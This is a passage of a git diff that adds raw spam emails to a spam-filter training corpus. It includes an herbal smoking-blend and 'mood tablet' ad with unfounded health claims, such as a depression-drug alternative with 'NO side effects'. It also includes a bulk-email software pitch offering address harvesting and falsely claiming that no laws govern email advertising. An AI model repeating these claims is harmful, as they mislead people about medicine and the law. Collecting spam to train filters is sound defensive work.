high-ratio concentrated extracts which are derived from various common and uncommon “sensitive/responsive” herbas primarily cultivated within and imported from the southern and eastern hemispheres; Temple “3” Ragga Dagga (TM) high-ratio factored botanical extractions are master-crafted into solid jiggets/bars which are structurally reminiscent of what one might find in the “happiness” coffee and tea houses of Nepal/Kathmandu/Amsterdam and in many aspects, possesses a more collected and more focused, less scattered ambiance. + +Ingredients: + +Temple smoking substances and Temple “3” Ragga Dagga (TM) have always been and will always remain exclusive EXOTIC BOTANICAL RESOURCES “House Smoking Substance Specialties”. Temple “3” Ragga Dagga (TM) is both a euphonious/celebratory and relaxing/calming pipe-smoking substance that offers both physical and cerebral significators. Temple “3” Ragga Dagga (TM) is a proprietary, prescribed botanical amalgamation which includes the following synergistically/synesthesia conglomerated, core-refined, ratio-enhanced herbas/botanicals, resins, essences, flower-tops and oils in extreme ratio extractment ranging from 8.5 to 1, to 100 to 1 viripotent concentrations Drachasha, Chavana Prash, Trikatu, Black Seed Herb, Hybrid Flowering Turnera Diffusa, Capillaris Herba, Angelica Root, Wild Dagga mature leaf matter, Haritaki, Shatavari, Labdunum, Neroli, Unicorn Root, Papaver Rhoes, Dendrobian stems, Calea Zacalechichi buddings, Rue, Amla, Salvia Divinorum, Crocus Sativa, Lotus and Gokshu! +ra cuttings. + +Please Note: Temple “3” Ragga Dagga (TM) is an absolutely legal, herba/botanical, “Personal Choice”, pipe-smoking substantiality product!!! No included botanical factor therein is regulated by law or considered to be harmful by regulatory agencies. There is no tobacco in Temple “3” Ragga Dagga (TM). There is certainly no cannabis/marijuana in Temple “3” Ragga Dagga (TM)…. And although we are not age-governed by law….Temple “3” Ragga Dagga (TM) is intended exclusively for sophisticated adult usage! Subsequently, it is our MANDATORY ethical policy that Temple “3” Ragga Dagga (TM) may not be sold, offered, or given to any person that has not attained at least twenty-one years of age. All things in their time…. As well, Temple “3” Ragga Dagga (TM) is not intended for use during work or while driving. It should not be enjoyed during pregnancy nor is it intended to supercede physician’s care in any regard. + +======================================================== +Here is what our customers are saying about the Temple “3” Ragga Dagga (TM) phenomenon: + +“To whom it may concern, + +I was skeptical when I first read your ad. I grew up in the 70’s & 80’s. I was a hard core (alternative smoker) then. So I knew my stuff. But drug tests stopped that! Now I am disabled from a degenerative muscle, ligament, and tendon disease. I was smoking (an illegal product) for the pain and nausea. Now I have something just as good; Temple 3, but cheaper, and it is legal! I also have a lot of trouble sleeping, but the Capillaris Herba made into tea works and smells great! Your products that I tried so far, are as good or better than your ads say! That is hard to find nowadays in a company. Who ever put this stuff together is a botanical genius. I will be a customer for life! Also, I talked with a lady on the phone when I was ordering, and asked her to find out if I could get my products and samples to hand out for free. And just send the customers to you. Or get a discount on products that I could sell retail to people. I would prefer the earlier one becau! +se, I can just talk about your products, I am a great salesman (about 10 years experience), I could hand out flyers, give out little 1 gram pieces as samplers with your business card enclosed, etc.. I am going to be unable to work a regular job for a while, maybe indefinitely? This deal would give me my own products and samples for free? You would get free advertising, word of mouth, samples into peoples hands to try, someone that is very good with computers, someone who studied about mail order, Internet, cold calling, small business, good with people, etc.. I would like to be doing something, even if I would get on Social Security Disability. It is very disheartening not being able to work to support my 2 teenage boys, or do a lot of the things I used to do! At least I would be able to do something worthwhile. And great products makes it real easy to sell. Let me know what you think? + +Sincerely, + +RJ” + +Location: Midwest, U.S.A. + +“Thank you so much for the Ragga. It is everything you guys claim, and then some! I was a bit skeptical when I read your description of its effects, but there is literally no exaggeration in your advertisements. How nice that this is non-prohibited! It tastes great and feels great too! I am so glad I took a chance and ordered. Blessings to all of you.” + +-- Frankie R. + +Location: West Coast, USA + +“I’m a man of my 40’s and I really know my stuff. I don’t drink or do illegal drugs anymore and have found a much more spiritual path. I used to have to take Valium in the past. Not anymore with the Temple “3”. It really amazes me how this stuff tastes like the Lebanese and blonde stuff I used to smoke in the 70’s. I am very satisfied with all of your products. I like them a lot and will be a customer for life for sure. Whoever makes this stuff is an ARTIST at it. Who would have thought?!” + +-- A.J. + +Location: United Kingdom +======================================================== +Finally, we realize of course that this Temple “3” Ragga Dagga (TM) is not inexpensive…. (Temple “3” Ragga Dagga (TM) is a very, very Sweet Smoke and “sweetness” is never acquired inexpensively. Such is the way of the Economic Tao....), nor, as a matter of fact, is it inexpensive for us to acquire, factor or master-craft…. Quite simply, it is the very best of its Kind that there is to be acquired. Just a snippet/pinch of this Temple “3” Ragga Dagga (TM)…. Four or five draws of your pipe….as is the magical way….lingers for a good, goodly while!!! (An herb pipe and usage instructions are included with each Temple “3” Ragga Dagga (TM) Package.) + +“Seventh Heaven” Temple “3” Ragga Dagga (TM) is offered exclusively in 56 gram (2 oz.) and 22 gram (.75 oz.) jiggets/bars for $115.00 and $65.00 respectively. Sorry, no volume discounts. Wholesale pricing is available to qualified, select merchants only. + +************************************************************ +Our other fine herbal, botanical products include the following: + +1. Sweet Vjestika Aphrodisia Drops (tm); An erotic aphrodisia; sexual intensifier / enhancer liquid amalgamated extract for MEN and WOMEN. + +2. "Seventh Heaven" Prosaka Tablets (tm); a botanical alternative to pharmaceutical medications for calm, balance, serenity and joyful living... + +3. "Seventh Heaven" Gentle Ferocity Tablets (tm); a most efficacious, non-caffeine, non-ephedrine, non-MaHuang botanical energizer and cutting-edge appetite suppressant... + +4. Extreme Martial Arts Botanical Remedies; Equivalence Tablets & Dragon Wing Remedy Spray ... pain management that works to alleviate pain even for arthritis and fibromyalgia sufferers... +********************************************* + +Sweet Vjestika Aphrodisia Drops (tm) inspires and enhances: + +* Extreme body sensitivity +* Sensitivity to touch +* Desire to touch and be touched +* Fantasy, lust, rapture, erogenous sensitivity ... +* Prolongs and intensifies foreplay, orgasm & climax +********************************************* + +"Seventh Heaven" Prosaka Tablets ... + +Entirely natural, proprietary, botanical prescription comprised of uncommon Asian Herbs for Calm, Balance, Serenity and Joyful Living. "Seventh Heaven" Prosaka is indeed a most extraordinary, viripotent, calming, centering, mood-enhancing, holistically-formulated, exotic herbaceous alternative to pharmaceutical medications for depression, anxiety, stress, insomnia, etc. + +NO side effects! NO dependency! Vivaciously Mellow! +********************************************** + +"Seventh Heaven" Gentle Ferocity Tablets (tm) ... + +a non-caffeine, non-ephedrine, non-ephedra, non-MaHuang; viripotent, herbaceous prescription for the dynamic energization of body, mind and spirit. + +This Gentle Ferocity Formulation is amalgamated in accordance with the fundamental Taoist herbal principle of botanical interactiveness and precursorship which in essence is a molecular equation of the relevant botanical/herbal alkaloids and glycosides interacting with one another to prolificate molecular communion and thereby to achieve demonstrative herbal efficaciousness without negative implication to any aspect of human composition. These Gentle Ferocity Cordial Tablets are incredulously and thoroughly effective. Enjoy! + +For those of you who seek to achieve most demonstrative/non-invasive/non-prohibitive appetite suppression without the negative implications of ongoing usage of MaHuang Herb, Ephedra/Ephedrine or Caffeine as are so magnaminously utilized in a multitude of herbal "diet aids" entitled as "Thermogenics" ... this is ABSOLUTELY the herbal agenda/product for you!! + +Entirely Natural! Increases Energy! Increases Metabolism! Decreases Appetite! +*********************************************** + +Extreme Martial Arts Botanical Remedies + +Eastern culture has long had a treatment for bone, muscle, tendon, ligament, sinew and joint distress, traumas, afflictions and constrictions. We are pleased to offer + + Equivalence Tablets & Dragon Wing Remedy Spray + (Hei Ping Shun) (Hei Long Chibang) + +PLEASE NOTE: + +While it is true that all physiological traumas and injuries are unique and that no product can arbitrarily eliminate all of the pain and discomfort in all people all of the time, the combination of Equivalence Tablets (Hei Ping Shun) and Dragon Wing Remedy (Hei Long Chibang) remedial botanicals does guarantee to at the least: + +1. Significantly reduce discomfort and pain! +(In many instances most, if not all, traumas and distress can be eliminated!) + +2. Significantly increase mobility and strength ratio. +(Please remember also the significance of proper diet, excercise, rest and prayer.) + +Equivalence Tablets & Dragon Wing Spray Remedials are comprised of entirely natural botanical factors. + +While Equivalence Tablets (Hei Ping Shun) and Dragon Wing Remedy Spray (Hei Long Chibang) are extremely effective individually, they are utilized to maximum advantage when used in conjunction with one another. + +======================================================== +!!!!Please refer to Introductory Offers further on in this text featuring Temple “3” Ragga Dagga (TM) along with our other “very fine” “Sensitive/Responsive” cordial botanical products…. Please enjoy!!! Many Blessings to you all…. +======================================================== + +PRICING INFORMATION: + +1. SEVENTH HEAVEN Seventh Heaven Temple 3 (tm) +One .75 oz. jigget/bar $65.00 +One 2.0 oz. jigget/bar $115.00 (Free Capillaris Herba with 2.0 oz. bar. Refer to Capillaris paragraph at end of text) + +2. SWEET VJESTIKA APHRODISIA DROPS (tm) +One 1.0 oz. bottle $90.00 +Two 1.0 oz. bottles $140.00 + +3. SEVENTH HEAVEN PROSAKA (tm) +One 100 tablet tin $40.00 +Three 100 tablet tins $105.00 +Six 100 tablet tins $185.00 + +4. SEVENTH HEAVEN GENTLE FEROCITY (tm) +One 300 tablet jar $130.00 + +5. Equivalence Tablets - Each bottle contains 90 - 500mg tablets. +** 3-pack (270 tablets) $83.00 +** 6-pack (540 tablets) $126.00 (save $40.00) +** 9-pack (810 tablets) $159.00 (save $90.00) +** 12-pack (1,080 tablets) $192.00 (save $140.00) + +6. Dragon Wing Spray Remedy - Each spray bottle contains 4 liquid oz. +** 3-pack (3 - 4 oz. bottles) $83.00 +** 6-pack (6 - 4 oz. bottles) $126.00 (save $40.00) +** 9-pack (9 - 4 oz. bottles) $159.00 (save $90.00) +** 12-pack (12 - 4 oz. bottles) $192.00 (save $140.00) + +7. Dynamic Duo Introductory Offers +** 3-pack Equivalence Tabs & 3-pack Dragon Wing $126.00 (save $40.00) +** 6-pack Equivalence Tabs & 3-pack Dragon Wing $159.00 (save $50.00) +** 9-pack Equivalence Tabs & 6-pack Dragon Wing $215.00 (save $70.00) +** 12-pack Equivalence Tabs & 9-pack Dragon Wing $271.00 (save $80.00) + +8. SWEET APHRODISIA INTRO COMBINATION OFFER +Includes one, 2.0 oz. jigget/bar of Seventh Heaven Temple 3 & one, 1 oz. bottle of Sweet Vjestika Aphrodisia Drops. For $150.00 (Reg. $205.00 Save $55) (Free Capillaris Herba with this intro offer. Refer to Capillaris paragraph at end of text) + +9. BODY, MIND, SPIRIT "HEAVENLY" INTRO COMBINATION OFFER +Includes one, 2.0 oz. jigget/bar of Seventh Heaven Temple 3 & 1 tin (100 tablets) of Seventh Heaven Prosaka. For $125.00 (Reg. $155.00 Save $30) (Free Capillaris Herba with this intro offer. Refer to Capillaris paragraph at end of text) + +10. "PURE ENERGY" INTRO COMBINATION OFFER +Includes one, 2.0 oz. jigget/bar of Seventh Heaven Temple 3 & 1 jar (300 tablets) of Seventh Heaven Gentle Ferocity. For $170.00 (Reg. $245.00 Save $75) (Free Capillaris Herba with this intro offer Refer to Capillaris paragraph at end of text) + +11. "SENSITIVE" PREFERENTIAL INTRO COMBINATION OFFER +Includes one, 2.0 oz. jigget/bar of Seventh Heaven Temple 3 & 1 tin (100 tablets) of Seventh Heaven Prosaka & 1 jar (300 tablets) of Seventh Heaven Gentle Ferocity For $200.00 (Reg. $285.00 Save $85) (Free Capillaris Herba with this intro offer Refer to Capillaris paragraph at end of text.) + +12. ULTIMATE HERBACEOUSNESS INTRO COMBINATION OFFER +Includes one - 2.0 oz. jigget / bar of Seventh Heaven Temple 3, one - 1 oz. bottle of Sweet Vjestika Aphrodisia Drops, one - 100 tablet tin of Prosaka, and one - 300 count jar of Gentle Ferocity for a deep discounted Retail Price of $260.00 (Reg. $375.00 Save $115) (Free Capillaris Herba with this intro offer Refer to Capillaris paragraph at end of text.) + +SPECIAL OFFER: For a limited time only, you will receive a FREE personal brass hookah with the Ultimate Herbaceous Intro Offer as our gift to you. This hookah has a retail value of $25.00. + + +************************************************** + +ORDERING INFORMATION: +For your convenience, you can call us direct with your orders or questions. + +Call 1-623-974-2295 +Monday - Friday -- 10:30 AM to 7:00 PM (Mountain Time) +Saturday -- 11:00 AM to 3:00 PM (Mountain Time) + +For all domestic orders, add $5.00 shipping & handling (shipped U.S. Priority Mail). Add $20.00 for International orders. + +************************************************** + +SPECIAL DISCOUNT & GIFT + +Call now and receive a FREE botanical gift! With every order for a 2.0 oz. jigget / bar of Seventh Heaven Temple 3 or one of our four (4) Intro Combination Offers, we will include as our free gift to you ... a 2.0 oz. package of our ever so sedate, sensitive Asian import, loose-leaf Capillaris Herba for "happy" smoking or brewing ... (a $65.00 retail value). + +==================================================== + + +To remove your address from our list, click "Reply" in your email software and type "Remove" in the subject field, then send. + + + + + + diff --git a/bayes/spamham/spam_2/00473.594d47d74b993e949b2b472af3430aed b/bayes/spamham/spam_2/00473.594d47d74b993e949b2b472af3430aed new file mode 100644 index 0000000..78be178 --- /dev/null +++ b/bayes/spamham/spam_2/00473.594d47d74b993e949b2b472af3430aed @@ -0,0 +1,47 @@ +From vqamntpaf@falconsoft.be Mon Jun 24 17:06:48 2002 +Return-Path: vqamntpaf@falconsoft.be +Delivery-Date: Mon May 27 12:56:55 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4RBuse09938 for + ; Mon, 27 May 2002 12:56:54 +0100 +Received: from ns.com ([211.38.142.193]) by mandark.labs.netnoteinc.com + (8.11.2/8.11.2) with SMTP id g4RBup724734 for ; + Mon, 27 May 2002 12:56:52 +0100 +Received: from falconsoft.be (unverified [216.51.101.11]) by ns.com (EMWAC + SMTPRS 0.83) with SMTP id ; Mon, 27 May 2002 21:04:12 + +0900 +Date: Mon, 27 May 2002 21:04:12 +0900 +Message-Id: +From: "Janay" +To: "rhobnxaxw@btinternet.com" +Subject: Tired Of Your High Mortgage Rate - REFINANCE TODAY. +MIME-Version: 1.0 +X-Mailer: Microsoft Outlook Express 5.00.2615.200 +X-Keywords: +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit + + + + + + + + untitled + + + + +

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    + + + + diff --git a/bayes/spamham/spam_2/00477.3691f298683e5b8687bc05a891512864 b/bayes/spamham/spam_2/00477.3691f298683e5b8687bc05a891512864 new file mode 100644 index 0000000..0d7e298 --- /dev/null +++ b/bayes/spamham/spam_2/00477.3691f298683e5b8687bc05a891512864 @@ -0,0 +1,153 @@ +From jzlin@carmen.se Mon Jun 24 17:06:45 2002 +Return-Path: jzlin@carmen.se +Delivery-Date: Mon May 27 09:08:12 2002 +Received: from aimc.0451.net ([210.76.63.25]) by dogma.slashnull.org + (8.11.6/8.11.6) with SMTP id g4R889e01189; Mon, 27 May 2002 09:08:10 +0100 +Received: from mail.brasilink.com.br([217.59.109.245]) by + aimc.0451.net(JetMail 2.5.3.0) with SMTP id jma33cf2249f; Mon, + 27 May 2002 07:52:57 -0000 +Message-Id: <00005e836869$00001971$000014a2@mail.careernet.nl> +To: +From: "Telcom Services" +Subject: Why pay more for something if you don't have to? +Date: Mon, 27 May 2002 01:08:17 -1900 +MIME-Version: 1.0 +X-Mailer: Microsoft Outlook Express +X-Keywords: +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + +Take Control Of Your Conference Calls + + + +

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    + + + diff --git a/bayes/spamham/spam_2/00478.a4d1f3bcbb571f1c3809bf47cb5ee57f b/bayes/spamham/spam_2/00478.a4d1f3bcbb571f1c3809bf47cb5ee57f new file mode 100644 index 0000000..d63ba9c --- /dev/null +++ b/bayes/spamham/spam_2/00478.a4d1f3bcbb571f1c3809bf47cb5ee57f @@ -0,0 +1,343 @@ +From WEBMASTER@theperfumebox.ie Mon Jun 24 17:06:58 2002 +Return-Path: mmailco@mail.com +Delivery-Date: Tue May 28 07:13:22 2002 +Received: from ns.kneo.com ([210.94.152.2]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g4S6DKe24947 for ; + Tue, 28 May 2002 07:13:20 +0100 +Received: from html (www.kneo.com [127.0.0.1]) by ns.kneo.com + (8.10.1/8.10.0) with SMTP id g4S5svi28689; Tue, 28 May 2002 14:55:00 +0900 +Message-Id: <200205280555.g4S5svi28689@ns.kneo.com> +From: WEBMASTER@theperfumebox.ie +Reply-To: mmailco@mail.com +To: WEBMASTER@theperfumebox.ie +Subject: Re: Account Information +Date: Mon, 27 May 2002 20:46:19 +MIME-Version: 1.0 +X-Keywords: +Content-Type: text/html; charset="DEFAULT" + + + + + + +
     +

     

    +
    =FFFFFFA9 1999-2002 CCFL
    To be removed from our distri= +bution lists, please + Click + here..
    + + +
    +
    + + + +
    +

    Email Advertise to 28,000,000 People for FREE +
    Act Now Before 6pm PST on Tuesday, May 28th
    + and Receive a FREE $899.00 Bonus
    +


    +

    +
    +


    +1) Let's say you... Sell a $24.95 PRODUCT or SERVICE.
    +2) Let's say you... Broadcast Email FREE to 500,000 PEOPLE DAILY.
    +3) Let's say you... Receive JUST 1 ORDER for EVERY 2,500 EMAILS.
    +
    +CALCULATION OF YOUR EARNINGS BASED ON THE ABOVE STATISTICS:
    +[Day 1]: $4,990 [Week 1]: $34,930 [Month 1]: $139,720
    +
    +----- ---- --- -- - -
    +You now know why you receive so many email advertisements...
    +===> BROADCAST EMAIL ADVERTISING IS EXTREMELY PROFITABLE!

    +1) What if you... Sell a $99.95 PRODUCT or SERVICE?
    +2) What if you... Broadcast Email to 30,000,000+ PEOPLE MONTHLY?
    +3) What if you... Receive 1 ORDER for EVERY 250 EMAILS?

    +Just IMAGINE => DAY 30! ==> WEEK 30!! ===> MONTH 30!!!

    +==> The PROFITS that Broadcast Email CAN GENERATE are AMAZING!!

    +** According to Forrester Research, a Broadcast Email Ad is up
    +** to 15 TIMES MORE LIKELY to Result in a Sale than a Banner Ad!

    +----- ---- --- -- - -
    +[COMPARISON OF INTERNET ADVERTISING METHODS]:
    +=========================================================
    +=> A 1/20 Page Targeted Web Site Banner Ad to 5 Million People
    + on the Internet can cost you about $100,000.

    +=> A 5 Page Targeted Direct Mail Advertisement to 1 Million People
    + through the Postal Service can cost you about $500,000.

    +=> A 50 Page Targeted HTML Broadcast Email Advertisement with
    + Pictures to 50,000,000 People through the Internet is Free.

    +...Which advertising method sounds most appealing to you?

    +=========================================================

    +"Targeted direct email advertising is the wave of the future.
    + By no other means can you effectively reach your market so
    + quickly and inexpensively." - ONLINE PROFITS NEWSLETTER

    +"Many business people are finding out that they can now advertise
    + in ways that they never could have afforded in the past. The
    + cost of sending mass e-mail is extremely low, and the response
    + rate is high and quick." - USA TODAY
    +
    +---- --- -- - -
    +[EXAMPLE OF A PERSONALIZED/TARGETED BROADCAST EMAIL]:
    +-------- ------- ------ ----- ---- --- -- - -
    +From: kate@cattiesinc.com
    +To: mary@commtomm.com
    +Subject: About Your Cat!

    +Hi Mary,

    +Are you interested in receiving up to 80% SAVINGS on CAT SUPPLIES?
    +If so, come visit our web site at: http://www.cattiesinc.com

    +=========================================================
    +=> With Broadcast Email Software, a Broadcast Email Advertisement
    +=> like this one can be AUTOMATICALLY sent to up to 1,000,000
    +=> PEOPLE on a DAILY BASIS with LESS than 2 MINUTES of YOUR TIME!

    +* IMT Strategies Reports an AVERAGE of a 16.4% CLICK THROUGH RATE
    + from users that have received a Broadcast Email Advertisement!

    +----- ---- --- -- - -
    +A EUROPEAN 2001 BENCHMARK STUDY
    +Conducted by Forrester Research Says:

    +1) 41% of Consumers Believe Email is a Good Way to Find out About
    + New Products.

    +2) 36% of Consumers in 13 Countries Read Most of the Promotional
    + Email they Receive and 9% Forward the Email to a Friend Because
    + They Think it is Valuable.

    +---- --- -- - -
    +BE PREPARED! You may receive A HUGE AMOUNT of orders within
    +minutes of sending out your first Broadcast Email Advertisement!

    +* According to Digital Impact, 85% of Broadcast Email Offers are
    + responded to within the FIRST 48 HOURS!

    +"When you reach people with e-mail, they're in a work mode, even
    + if they're not at work. They're sitting up, they're alert. You
    + catch them at a good moment, and if you do it right, you have a
    + really good shot of having them respond."
    + - WILLIAM THAMES [Revnet Direct Marketing VP]

    +---- --- -- - -
    +* An Arthur Anderson Online Panel reveals that 85% of Online Users
    + say that Broadcast Email Advertisements have LED TO A PURCHASE!"

    +"According to FloNetwork, US Consumers DISCOVER New Products and
    + Services 7+ TIMES MORE OFTEN through an Email Advertisement,
    + than through Search Engines, Magazines and Television COMBINED!"

    +Only a HANDFUL of Companies on the Internet have Discovered
    +Broadcast Email Advertising... => NOW YOU CAN BE ONE OF THEM!!

    +---- --- -- - -
    +=> United Messaging says there are 890+ MILLION EMAIL ADDRESSES!
    +=> GET READY! Now with Broadcast Email, You Can Reach them ALL
    +=> Thanks to our Broadcast Email Software!

    +Our Broadcast Email Software with DNS Technology Automatically
    +Creates 10 SUPER-FAST MAIL SERVERS on Your COMPUTER which are
    +then used to Send out Your Broadcast Emails to MILLIONS for FREE!

    +==> With our NEW EMAIL SENDING TECHNOLOGY...
    +==> Your Internet Provider's Mail Servers are NOT USED!

    +There are NO Federal Regulations or Laws on Email Advertising &
    +Now with Our Software => You Can Avoid Internet Provider Concerns!

    +=========================================================
    +=> If you send a Broadcast Email Advertisement to 50,000,000
    +=> People and Just 1 of 5,000 People Respond, You Can Generate
    +=> 10,000 EXTRA ORDERS! How Much EXTRA PROFIT is this for You?
    +=========================================================

    +------ ----- ---- --- -- - -
    +As Featured in: "The Boston Globe" (05/29/98),
    +"The Press Democrat" (01/08/99), "Anvil Media" (01/29/98):
    +=========================================================
    +[NIM Corporation Presents]: THE BROADCAST EMAIL PACKAGE
    +=========================================================
    +REQUIREMENTS: WIN 95/98/2000/ME/NT/XP or MAC SoftWindows/VirtualPC

    +[BROADCAST EMAIL SENDER SOFTWARE] ($479.00 Retail):
    + Our Broadcast Email Sender Software allows you the ability to
    + send out Unlimited, Personalized and Targeted Broadcast Email
    + Advertisements to OVER 500,000,000 People on the Internet at
    + the rate of up to 1,000,000 DAILY, AUTOMATICALLY and for FREE!
    + Have a List of Your Customer Email Addresses? Broadcast Email
    + Advertise to Them with our Software for FREE!

    +[TARGETED EMAIL EXTRACTOR SOFTWARE] ($299.00 Retail):
    + Our Targeted Email Extractor Software will Automatically
    + Navigate through the TOP 8 Search Engines, 50,000+ Newsgroups,
    + Millions of Web Sites, Deja News, Etc.. and Collect MILLIONS
    + of Targeted Email Addresses by using the keywords of your
    + choice! This is the ULTIMATE EXTRACTOR TOOL!

    +[15,000,000+ EMAIL ADDRESSES] ($495.00 Retail):
    + MILLIONS of the NEWEST & FRESHEST General Interest and
    + Regionally Targeted Email Addresses Separated by Area Code,
    + State, Province, and Country! From Alabama to Wyoming,
    + Argentina to Zimbabwe! 15,000,000+ FRESH EMAILS are YOURS!

    +[STEP BY STEP BROADCAST EMAIL PACKAGE INSTRUCTIONS]:
    + You will be Guided through the Entire Process of Installing
    + and Using our Broadcast Email Software to Send out Broadcast
    + Email Advertisements, like this one, to MILLIONS of PEOPLE for
    + FREE! Even if you have NEVER used a computer before, these
    + instructions make sending Broadcast Email as EASY AS 1-2-3!

    +[THE BROADCAST EMAIL HANDBOOK]:
    + The Broadcast Email Handbook will describe to you in detail,
    + everything you ever wanted to know about Broadcast Email!
    + Learn how to write a SUCCESSFUL Advertisement, how to manage
    + the HUNDREDS of NEW ORDERS you could start receiving, what
    + sells BEST via Broadcast Email, etc... This Handbook is a
    + NECESSITY for ANYONE involved in Broadcast Email!

    +[UNLIMITED CUSTOMER & TECHNICAL SUPPORT]:
    + If you ever have ANY questions, problems or concerns with
    + ANYTHING related to Broadcast Email, we include UNLIMITED
    + Customer & Technical Support to assist you! Our #1 GOAL
    + is CUSTOMER SATISFACTION!

    +[ADDITIONAL INFORMATION]:
    + Our Broadcast Email Software Package contains so many
    + features, that it would take five additional pages just to
    + list them all! Duplicate Removing, Automatic Personalization,
    + and Free Upgrades are just a few of the additional bonuses
    + included with our Broadcast Email Software Package!

    +------ ----- ---- --- -- - -
    +ALL TOGETHER our Broadcast Email Package contains EVERYTHING
    +YOU WILL EVER NEED for Your Entire Broadcast Email Campaign!

    +You Will Receive the ENTIRE Broadcast Email Package with
    +EVERYTHING Listed Above ($1,250.00+ RETAIL) for ONLY $499.00 US!
    +========================================================
    +BUT WAIT!! If You Order by Tuesday, May 28th, You Will
    +Receive the Broadcast Email Package for ONLY $295.00 US!!
    +========================================================
    +Order NOW and Receive [13,000,000 BONUS EMAILS] ($899 VALUE)
    +for FREE for a TOTAL of 28,000,000 FRESH EMAIL ADDRESSES!!
    +========================================================

    +Regardless, if you send to 1,000 or 100,000,000 PEOPLE...

    +You will NEVER encounter any additional charges ever again!
    +Our Broadcast Email Software sends Email for a LIFETIME for FREE!

    +----- ---- --- -- - -
    +Since 1997, we have been the Broadcast Email Marketing Authority.
    +Our #1 GOAL is to SEE YOU SUCCEED with Broadcast Email Advertising.

    +We are so confident about our Broadcast Email Package, that we are
    +giving you 30 DAYS to USE OUR ENTIRE PACKAGE FOR FREE!

    +==> You can SEND Unlimited Broadcast Email Advertisements!
    +==> You can EXTRACT Unlimited Targeted Email Addresses!
    +==> You can RECEIVE Unlimited Orders!

    +If you do not receive at least a 300% INCREASE in SALES or are not
    +100% COMPLETELY SATISFIED with each and every single aspect of our
    +Broadcast Email Package, simply return it to us within 30 DAYS for
    +a 100% FULL REFUND, NO QUESTIONS ASKED!!

    +Best of ALL, if you decide to keep our Broadcast Email Package, it
    +can be used as a 100% TAX WRITE OFF for your Business!

    +---- --- -- - -
    +See what users of our Broadcast Email Package have to say...
    +=========================================================

    +"Since using your program, I have made as much in two days as I
    + had in the previous two weeks!!!!! I have to say thank you for
    + this program - you have turned a hobby into a serious money
    + making concern."
    + = W. ROGERS - Chicago, IL

    +"We have used the software to send to all our members plus about
    + 100,000 off the disk you sent with the software and the response
    + we have had is just FANTASTIC!! Our visits and sales are nearly
    + at an all time high!"
    + = A. FREEMAN - England, UK

    +"I have received over 1200 visitors today and that was only
    + sending out to 10,000 email addresses!"
    + = K. SWIFT - Gunnison, CO

    +"I'm a happy customer of a few years now. Thanks a lot....I love
    + this program.."
    + = S. GALLAGHER - Melville, NY

    +"Thanks for your prompt filing of my order for your broadcast email
    + software -- it took only about a day. This is faster than ANYBODY
    + I have ever ordered something from! Thanks again!"
    + = W. INGERSOLL - Scottsdale, AZ

    +"I feel very good about referring the folks I have sent to you
    + thus far and will continue to do so. It is rare to find a company
    + that does business this way anymore...it is greatly appreciated."
    + = T. BLAKE - Phoenix, AZ

    +"Your software is a wonderful tool! A++++"
    + = S. NOVA - Los Angeles, CA

    +"Thank you for providing such a fantastic product."
    + = M. LOPEZ - Tucson, AZ

    +"Your tech support is the best I have ever seen!"
    + = G. GONZALEZ - Malibu, CA

    +"I am truly impressed with the level of service. I must admit I
    + was a bit skeptical when reading your ad but you certainly deliver!"
    + = I. BEAUDOIN - Toronto, ON

    +"My first go round gave me $3000 to $4000 in business in less than
    + one week so I must thank your company for getting me started."
    + = A. ROBERTS - San Francisco, CA

    +"We are really happy with your Email program. It has increased
    + our business by about 500%."
    + = M. JONES - Vancouver, BC

    +"IT REALLY WORKS!!!!! Thank you thank you, thank you."
    + = J. BECKLEY - Cupertino, CA

    +----- ---- --- -- - -
    +[SOUND TOO GOOD TO BE TRUE?]

    +** If you Broadcast Email to 500,000 Internet Users Daily...
    +** Do you think that maybe 1 of 5,000 may order?

    +=> If so... That is 100 EXTRA (COST-FREE) ORDERS EVERY DAY!!

    +Remember.. You have 30 DAYS to use our Broadcast Email Package
    +for FREE and SEE IF IT WORKS FOR YOU!

    +If YOU are not 100% COMPLETELY SATISFIED, SIMPLY RETURN the
    +Broadcast Email Package to us within 30 DAYS for a FULL REFUND!

    +--- -- - -
    +[BROADCAST EMAIL SOFTWARE PACKAGE]: Easy Ordering Instructions
    +=========================================================
    +=> Once your order is received we will IMMEDIATELY RUSH out the
    +=> Broadcast Email Package on CD-ROM to you via FEDEX PRIORITY
    +=> OVERNIGHT or 2-DAY PRIORITY INTERNATIONAL the SAME DAY FREE!

    +------- ------ ----- ---- --- -- - -
    +[TO ORDER BY PHONE]:
    +To order our Broadcast Email Software Package by phone with
    +a Credit Card or if you have any additional questions, please
    +call our Sales Department in the USA at:

    +=> (541)665-0400

    +** YOU CAN ORDER NOW! ALL Major Credit Cards are Accepted!

    +ORDER by 3PM PST (M-TH) TODAY -> Have it by 10am TOMORROW FREE!
    +EUROPEAN & FOREIGN Residents -> Have it within 2 WEEKDAYS FREE!

    +REMOVAL From Our Email List => CALL (206)208-4589

    +------- ------ ----- ---- --- -- - -
    +[TO ORDER BY FAX]:
    +To order our Broadcast Email Software Package by fax with a Credit
    +Card, please print out the order form at the bottom of this email
    +and complete all necessary blanks. Then, fax the completed order
    +form to our Order Department in the USA at:

    +=> (503)213-6416

    +------- ------ ----- ---- --- -- - -
    +[TO ORDER BY POSTAL MAIL]:
    +To order our Broadcast Email Software Package with a Cashiers
    +Check, Credit Card, US Money Order, US Personal Check, or US Bank
    +Draft by postal mail, please print out the order form at the
    +bottom of this email and complete all necessary blanks.

    +Send it along with payment of $295.00 US postmarked by Tuesday,
    +May 28th, or $499.00 US after Tuesday, May 28th to:

    +NIM Corporation
    +1314-B Center Drive #514
    +Medford,OR 97501
    +United States of America

    +----- ---- --- -- - -
    +"OVER 20,000 BUSINESSES come on the Internet EVERY single day...
    +If you don't send out Broadcast Email... YOUR COMPETITION WILL!"

    +------- ------ ----- ---- --- -- - -
    +[Broadcast Email Software Package]: ORDER FORM
    +(c)1997-2002 NIM Corporation. All Rights Reserved
    +=========================================================

    +Company Name: __________________________________________

    +Your Name: ______________________________________________

    +BILLING ADDRESS: ________________________________________

    +City: ___________________ State/Province: _____________________

    +Zip/Postal Code: __________ Country: __________________________

    +NON POBOX SHIPPING ADDRESS: ____________________________

    +City: ___________________ State/Province: _____________________

    +Zip/Postal Code: __________ Country: __________________________

    +Phone Number: ______________ Fax Number: ___________________

    +Email Address: ____________________________________________

    +** To Purchase by Credit Card, Please Complete the Following:

